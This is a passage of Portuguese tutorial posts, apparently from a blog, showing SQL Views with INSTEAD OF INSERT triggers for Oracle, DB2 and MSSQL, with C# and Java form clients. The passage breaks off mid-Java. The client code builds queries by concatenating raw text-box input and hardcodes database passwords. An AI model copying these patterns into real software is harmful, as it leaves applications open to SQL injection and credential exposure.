                "http://code.google.com/p/google-chome-pass-recovery"
        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

View - CSharp

View – CSharp

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas de grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Visual Studio

Você encontra um walkthrough de como instalar os bancos de dados, seus drivers e a configuração da IDE Visual Studio na categoria SQL e C#, use a imagem abaixo para referencia de como criar design utilizando, 3 Panels, 8 Labels, 7 TextBox e 5 Buttons:

Visual Studio - Design

Visual Studio – Design

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação C# o campo porcentagem possui cor diferente pois se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post C# com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Data.SqlClient;
using Oracle.DataAccess.Client;
using IBM.Data.DB2;

namespace DACampos
{

    public partial class Campos : Form
    {
        // Declara componentes de conexão
        private static OracleConnection connORA; // ODAC 12c
        private static DB2Connection connDB2;   // IBM Data Server Provider
        private static SqlConnection connMSSQL; // ADO .NET

       // ************** Sobre Conexões - ADO.NET ************** 
       // 
       // A Microsoft disponibiliza por exemplo, o System.Data.OracleClient
       // porem se tornou obsoleto e ainda é suportado somente
       // a nível de compatibilidade com versões anteriores do Framework.
       // A Microsoft recomenda utilizar o driver de cada fornecedor:
       //
       // veja: http://msdn.microsoft.com/en-us/library/77d8yct7.aspx
       // 
       // Você pode utilizar a classe DbProviderFactory
       // para criar um único datasource para todos os bancos de dados: 
       //
       // http://msdn.microsoft.com/pt-br/library/system.data.common.dbproviderfactory(v=vs.110).aspx
       //
       // No entanto diferentemente da linguagem JAVA (JDBC) o ADO.NET não suporta
       // alguns recursos do Oracle e IBM DB2.    
       //
       // *** Factory ***
       //
       // Utilizando conexões únicas de cada provedor de banco de dados
       // através de um Factory, permite que você utilize um único set de instruções 
       // para todos os bancos de dados.
       //
       // Atente-se que se utilizar instruções únicas, em alguns casos poderá encontrar
       // alguns erros de compatibilidade ou criar certas limitações a outros bancos. 
       // O ADO.NET é desenvolvido para o MSSQL Server e está sujeito 
       // a algumas limitações quando utilizar alguns tipos de campos, 
       // conceitos de conexão e acesso a dados de outros bancos de dados.
       //
       // Sistemas de grande porte possuem um Dicionário de dados
       // para se prevenir destas situações.
       // 
       // Veja este mesmo programa utilizando o DriverManager equivalente ao factory para java
       // e veja comentários extras no código apontando diferenças de conceitos.
      

        // Declara variável do banco de dados
        private static string DBconexao;

        public Campos()
        {
            InitializeComponent();
        }

        // Cria método de conexão
        public void conectarDB(string banco)
        {
            DBconexao = banco;

            if (banco == "oracle")
            {

                try
                {
                    // String de Conexao
                    string connectionString =

                    // Usuario
                    "User Id=daberto"+

                    // Senha
                    ";Password=p@55w0rd" +

                    // TNSnames
                    ";Data Source=XE";

                    //Conecta ao datasource usando a conexão Oracle
                    connORA = new OracleConnection(connectionString);

                    //Abre a conexão com o banco de dados
                    connORA.Open();
                }
                    // Retorna erro
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());
                }
            }

            if (banco == "db2")
            {
                try
                {
                    // String de Conexao
                    string connectionString =

                        // Servidor
                        "Server=localhost" + 

                        // Banco de dados
                        ";Database=DEVA" +

                        // Usuario
                        ";UID=db2admin" + 

                        // Senha
                        ";PWD=p@55w0rd" + 

                        // Timeout
                        ";Connect Timeout=40";

                    //Conecta ao datasource usando a conexão DB2
                    connDB2 = new DB2Connection(connectionString);

                    //Abre a conexão com o banco de dados
                    connDB2.Open();

                }
                // Retorna erro
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());

                }

            }

            if (banco == "mssql")
            {
                try
                {
                    // String de Conexao
                    string connectionString =

                        // Servidor
                        "Data Source=localhost" + 

                        // Banco de dados
                        ";Initial Catalog=DevAberto" +

                        // Usuario
                        ";User ID =devaberto" + 

                        // Senha
                        ";Password=p@55w0rd" +

                        // Timeout
                        ";Connect Timeout=40";

                    //Conecta ao datasource usando a conexão Padrão
                    connMSSQL = new SqlConnection(connectionString);

                    //Abre a conexão com o banco de dados
                    connMSSQL.Open();

                }
                // Retorna erro
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());

                }

            }

        }

        // Evento de clique do botão
        private void button1_Click(object sender, EventArgs e)
        {
            // Cria instancia do objeto
            Campos campos = new Campos();

            // A variável abaixo:
            // Define banco de dados
            // oracle = Oracle Database
            // db2    = IBM DB2 Database
            // mssql  = Microsoft SQL Server
            campos.conectarDB("oracle");

            // Define instrução SQL
            // Seleciona dados da View
            string sql = "Select * From CadFuncionario Where  ID_FUNCIONARIO = " + textBox6.Text;

            // Usando um procedimento de conexão para da driver especifico

            // Oracle - ODAC
            if (DBconexao == "oracle")
            {
                label1.Text = "Database - Cadastro Funcionários: " + DBconexao;

                OracleCommand oracmd = new OracleCommand(sql, connORA);
                OracleDataReader orareader = oracmd.ExecuteReader();

                if (orareader.HasRows)
                {
                    while (orareader.Read())
                    {
                        textBox1.Text = Convert.ToString(orareader.GetInt32(0));
                        textBox2.Text = orareader.GetString(1);
                        textBox3.Text = orareader.GetString(2);
                        textBox4.Text = orareader.GetString(3);
                        textBox5.Text = Convert.ToString(orareader.GetDecimal(4));
                        textBox7.Text = Convert.ToString(orareader.GetDecimal(5));
                    }
                }

            }

            // IBM Data Server Provider
            if (DBconexao == "db2")
            {
                label1.Text = "Database - Cadastro Funcionários: " + DBconexao;

                DB2Command db2cmd = new DB2Command(sql);
                db2cmd.Connection = connDB2;
                DB2DataReader db2reader = db2cmd.ExecuteReader();

                if (db2reader.HasRows)
                {
                    while(db2reader.Read())
                    {
                        textBox1.Text = Convert.ToString(db2reader.GetInt32(0));
                        textBox2.Text = db2reader.GetString(1);
                        textBox3.Text = db2reader.GetString(2);
                        textBox4.Text = db2reader.GetString(3);
                        textBox5.Text = Convert.ToString(db2reader.GetDecimal(4));
                        textBox7.Text = Convert.ToString(db2reader.GetDecimal(5));
                    }
                }

            }

            // microsoft ADO.NET
           if (DBconexao == "mssql")
           {
               label1.Text = "Database - Cadastro Funcionários: " + DBconexao;

               SqlCommand mssqlcmd = new SqlCommand(sql);
               mssqlcmd.Connection = connMSSQL;
               SqlDataReader mssqlreader = mssqlcmd.ExecuteReader();

               if (mssqlreader.HasRows)
               {
                   while (mssqlreader.Read())
                   {
                       textBox1.Text = Convert.ToString(mssqlreader.GetInt32(0));
                       textBox2.Text = mssqlreader.GetString(1);
                       textBox3.Text = mssqlreader.GetString(2);
                       textBox4.Text = mssqlreader.GetString(3);
                       textBox5.Text = Convert.ToString(mssqlreader.GetDecimal(4));
                       textBox7.Text = Convert.ToString(mssqlreader.GetDecimal(5));
                   }
               }

               // Aqui nota-se uma diferença entre os drivers
               // Microsoft, Oracle e IBM
               // ADO.NET É necessário fechar o DataReader antes de executar um sqlcommand.
               // ODAC não é necessário
               // IBM DATA Server não é necessário
               // 
               // Aplica-se a qualquer DataReader ADO.NET
               //
               // Enquanto o DataReader está em uso, 
               // o Connection associado está ocupado servindo o DataReader.
               // Enquanto estiver neste estado, 
               // nenhuma outra operação pode ser realizada sobre o Connection além de fechá-lo.
               // Os drivers da Oracle e IBM não possuem esta arquitetura e não ocupam a conexão
               // permitindo ainda múltiplas operações sobre ela.


               mssqlreader.Close();
           }
        }

        private static void executaSQL(string sql)
        {
            // Declara comandos em diferentes drivers
            OracleCommand oracmd;
            DB2Command db2cmd;
            SqlCommand sqlcmd;

            // Define banco de dados e executa comandos SQL
            if (DBconexao == "oracle")
            {
                oracmd = new OracleCommand();
                oracmd.Connection = connORA;
                oracmd.CommandText = sql;

                try
                {
                    oracmd.ExecuteNonQuery();
                    MessageBox.Show("Ação requerida executada com sucesso!");
                }
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());
                }

            }

            if (DBconexao == "db2")
            {
                db2cmd = new DB2Command();
                db2cmd.Connection = connDB2;
                db2cmd.CommandText = sql;
                try
                {
                    db2cmd.ExecuteNonQuery();
                    MessageBox.Show("Ação requerida executada com sucesso!");
                }
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());
                }
            }

            if (DBconexao == "mssql")
            {
                sqlcmd = new SqlCommand();
                sqlcmd.Connection = connMSSQL;
                sqlcmd.CommandText = sql;

                try
                {
                    sqlcmd.ExecuteNonQuery();
                    MessageBox.Show("Ação requerida executada com sucesso!");
                }
                catch (Exception ex)
                {
                    // Mostra menssagem de erro
                    MessageBox.Show(ex.ToString());
                }
            }           

        }

        private static String trocaDecimal(string conteudo)
        {
            // Substitui decimal na manipulação de SQL
            string troca = conteudo.Replace(",", ".");
            return troca;
        }

        // Novo registro
        private void button2_Click(object sender, EventArgs e)
        {
            // Limpa componentes
            textBox1.Text = null;
            textBox2.Text = null;
            textBox3.Text = null;
            textBox4.Text = null;
            textBox5.Text = null;
            textBox7.Text = null;

            // Define foco
            textBox1.Focus();
        }

        // Insere registro
        private void button3_Click(object sender, EventArgs e)
        {
            // Cria instrução SQL
            string sql = "Insert into CadFuncionario values (" +
                textBox1.Text + ", \'" +
                textBox2.Text + "\', \'" +
                textBox3.Text + "\', \'" +
                textBox4.Text + "\', " +
                trocaDecimal(textBox5.Text) + ", " +
                trocaDecimal(textBox7.Text) + ")";

            // Executa sql
            executaSQL(sql);
        }

        // Altera registro
        private void button4_Click(object sender, EventArgs e)
        {
             // TODO: Criar uma Trigger como evento INSTEAD OF UPDATE
        }

        // Deleta registro
        private void button5_Click(object sender, EventArgs e)
        {
            // TODO: Criar uma Trigger como evento INSTEAD OF DELETE
        }
    }
}

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

View - Cadastro - Java

View – Cadastro – Java

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas de grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Eclipse – Java

Para conectar aos diversos bancos de dados em um único programa você precisa referenciar os drivers contidos em JARs externos, você encontra um walkthrough de como instalar os bancos de dados, seus drivers e a configuração da IDE Eclipse na categoria SQL e Java, use a imagem abaixo para referencia deste procedimento:

Drivers - External Jars

Eclipse – Drivers – External Jars

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação Java o campo porcentagem possui cor diferente pois se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post Java com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

Java

import java.awt.Color;
import java.awt.ComponentOrientation;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

import javax.swing.BorderFactory;
import javax.swing.Box;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.border.Border;
import javax.swing.border.EtchedBorder;

public class MinhaView implements ActionListener {
    // Declara componentes
    private JLabel ltitulo;
    private JLabel lid;
    private JLabel lpnome;
    private JLabel lsnome;
    private JLabel lcargo;
    private JLabel lsalario;
    private JLabel lpesquisa;
    private JLabel lporcentagem;

    private JTextField tid;
    private JTextField tpnome;
    private JTextField tsnome;
    private JTextField tcargo;
    private JTextField tsalario;
    private JTextField tpesquisa;
    private JTextField tporcentagem;

    private JButton botao;
    private JButton alterar;
    private JButton inserir;
    private JButton deletar;
    private JButton novo;

    private Border borda;

    private JFrame menssagem;

    // Declara objetos de conexão
    private static Connection conn;
    private static Statement query;

    // Declara variaveis
    private static String bconexao;

    // Cria conexão
    public void conectar(String banco) {

        // Verifica strings de conexão

        // ORACLE
        if (banco == "oracle") {
            try {
                // Define Driver de conexão JDBC thin
                Class.forName("oracle.jdbc.driver.OracleDriver");
                conn = DriverManager.getConnection(
                        "jdbc:oracle:thin:@localhost:1521:xe", "daberto",
                        "p@55w0rd");

                // Executa pedido SQL
                query = conn.createStatement();

            }

            catch (ClassNotFoundException ex) {
                ex.printStackTrace();
            }

            catch (SQLException ex) {
                ex.printStackTrace();
            }
        }

        // DB2
        if (banco == "db2") {
            try {
                // Define Driver de conexão JDBC
                Class.forName("com.ibm.db2.jcc.DB2Driver");
                conn = DriverManager.getConnection(
                        "jdbc:derby:net://localhost:50000/deva", "db2admin",
                        "p@55w0rd");

                // Executa pedido SQL
                query = conn.createStatement();
                // JOptionPane.showMessageDialog(menssagem,
                // "Conexão Efetuada com sucesso!");
            }

            catch (ClassNotFoundException ex) {
                ex.printStackTrace();
            }

            catch (SQLException ex) {
                // JOptionPane.showMessageDialog(menssagem, "Erro na conexão!");
                ex.printStackTrace();
            }

        }

        // MICROSOFT SQL SERVER
        if (banco == "mssql") {
            try {
                // Define Driver de conexão JDBC
                String URL = "jdbc:sqlserver://localhost\\SQLEXPRESS:1433;databaseName=devaberto"
                        + ";user=devaberto;password=p@55w0rd";

                Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
                conn = DriverManager.getConnection(URL);

                // Executa pedido SQL
                query = conn.createStatement();

            }

            catch (ClassNotFoundException ex) {
                ex.printStackTrace();
            }

            catch (SQLException ex) {
                ex.printStackTrace();
            }

        }

    }

    // Retorna funcionario
    public ResultSet retornaFuncionarioId(String codigo) throws SQLException {
        // Cria uma nova conexão
        Statement query;
        query = conn.createStatement();
        String sql;

        // Verfica banco de dados e passa script SQL

        sql = "Select * From CadFuncionario Where  ID_FUNCIONARIO = " + codigo;

        // Executa Script
        ResultSet dados = query.executeQuery(sql);

        // Retorna set de dados
        return dados;
    }

    public Container criaPainel() {
        // cria painel
        JPanel painel = new JPanel();
        painel.setLayout(new FlowLayout());
        painel.setBorder(BorderFactory.createEmptyBorder(20, 20, 20, 20));
        painel.setComponentOrientation(ComponentOrientation.RIGHT_TO_LEFT);
        // Cria titulo
        ltitulo = new JLabel("Database - Cadastro de Funcionário -Sem conexão");

        painel.add(ltitulo);
        painel.add(Box.createVerticalStrut(60));

        // Cria painel de usuario
        JPanel painelDados = new JPanel(new GridLayout(0, 2, 10, 10));

        // Cria componentes

        // Tabela de Funcionarios
        lid = new JLabel("Código:");
        lpnome = new JLabel("Primeiro Nome:");
        lsnome = new JLabel("Sobrenome:");
        lcargo = new JLabel("Cargo:");
        lsalario = new JLabel("Salário:");

        tid = new JTextField();
        tpnome = new JTextField();
        tsnome = new JTextField();
        tcargo = new JTextField();
        tsalario = new JTextField();

        // Tabela de Desconto
        lporcentagem = new JLabel("Porcentagem (%):");
        tporcentagem = new JTextField();

        lporcentagem.setForeground(Color.BLUE);

        tid.setPreferredSize(new Dimension(150, 20));

                  // Adiciona componentes no painel
        painelDados.add(Box.createVerticalStrut(10));
        painelDados.add(Box.createVerticalStrut(10));
        painelDados.add(lid);
        painelDados.add(tid);
        painelDados.add(lpnome);
        painelDados.add(tpnome);
        painelDados.add(lsnome);
        painelDados.add(tsnome);
        painelDados.add(lcargo);
        painelDados.add(tcargo);
        painelDados.add(lsalario);
        painelDados.add(tsalario);
        painelDados.add(lporcentagem);
        painelDados.add(tporcentagem);
        painelDados.add(Box.createVerticalStrut(10));
        painelDados.add(Box.createVerticalStrut(10));

        // Cria painel de pesquisa
        JPanel painelPesquisa = new JPanel(new GridLayout(0, 3, 10, 10));
        borda = BorderFactory.createEtchedBorder(EtchedBorder.LOWERED);
        painelPesquisa.setBorder(borda);

        // Cria pesquisas
        lpesquisa = new JLabel("Pesquisa código:");
        tpesquisa = new JTextField();
        botao = new JButton("Pesquisar");
        botao.addActionListener(this);

        // Define foco do cursor no campo de pesquisa
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                tpesquisa.requestFocus();
            }
        });

        // Adiciona compoentes ao painel de pesquisa
        painelPesquisa.add(lpesquisa);
        painelPesquisa.add(tpesquisa);
        painelPesquisa.add(botao);

        // Cria painel de pesquisa
        JPanel painelAcao = new JPanel(new GridLayout(0, 4, 10, 10));
        borda = BorderFactory.createEtchedBorder(EtchedBorder.LOWERED);
        painelAcao.setBorder(borda);

        // Cria botões de manipulação de banco
        novo = new JButton("Novo");
        inserir = new JButton("Inserir");
        alterar = new JButton("Alterar");
        deletar = new JButton("Apagar");

        // Cria ouvintes de eventos
        novo.addActionListener(this);
        inserir.addActionListener(this);
        alterar.addActionListener(this);
        deletar.addActionListener(this);

        // Insere componentes em um painel
        painelAcao.add(novo);
